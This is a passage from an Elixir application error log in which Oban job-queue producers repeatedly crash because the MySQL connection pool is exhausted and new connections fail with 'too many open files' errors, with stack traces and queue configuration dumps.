23:46:34.247359Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.30565>, refresh_timer: #Reference<0.2525715032.1099431938.30557>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:46:46.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1001ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:46:34.249707Z], limit: 50, uuid: "81d2778f-6158-4bc5-ae33-3eff057dcc18", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:46:34.249713Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.28858>, refresh_timer: #Reference<0.2525715032.1068498948.28855>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:46:46.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 868ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:46:34.242177Z], limit: 5, uuid: "e4a2d677-6d6e-4b19-b336-c4c3d276bcb4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:46:34.242183Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.28859>, refresh_timer: #Reference<0.2525715032.1077673987.1695>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:46:46.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1020ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:46:34.242224Z], limit: 20, uuid: "dcbad2a0-3f6e-41dd-b5f5-076bdfe05d44", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:46:34.242230Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.28856>, refresh_timer: #Reference<0.2525715032.1068498948.28846>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:46:46.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 859ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:46:34.245564Z], limit: 10, uuid: "e8288322-072f-4436-9e43-649c1e95aa34", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:46:34.245570Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.30566>, refresh_timer: #Reference<0.2525715032.1077673987.1722>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:46:46.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1028ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:46:34.239977Z], limit: 5, uuid: "03b3fea8-9d21-4950-a22c-1337a162c613", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:46:34.239983Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.28857>, refresh_timer: #Reference<0.2525715032.1068498948.28847>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:46:49.859000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:46:52.069000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:46:53.082000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:46:56.333000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:46:58.368000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:46:59.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2069ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:46:46.242101Z], limit: 20, uuid: "b82e8ea9-985b-4686-b14a-78cd7eb96734", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:46:46.242107Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.30907>, refresh_timer: #Reference<0.2525715032.1121189889.137516>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:46:59.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2062ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:46:46.243176Z], limit: 5, uuid: "49c69e24-9ab7-4d88-bb40-c3ffb55319df", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:46:46.243181Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.30908>, refresh_timer: #Reference<0.2525715032.1121189889.137535>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:46:59.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1897ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:46:46.242935Z], limit: 3, uuid: "35bcf2b2-6bbe-4c15-8ffa-287051455bd8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:46:46.242940Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.30905>, refresh_timer: #Reference<0.2525715032.1099431938.30887>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:46:59.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1878ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
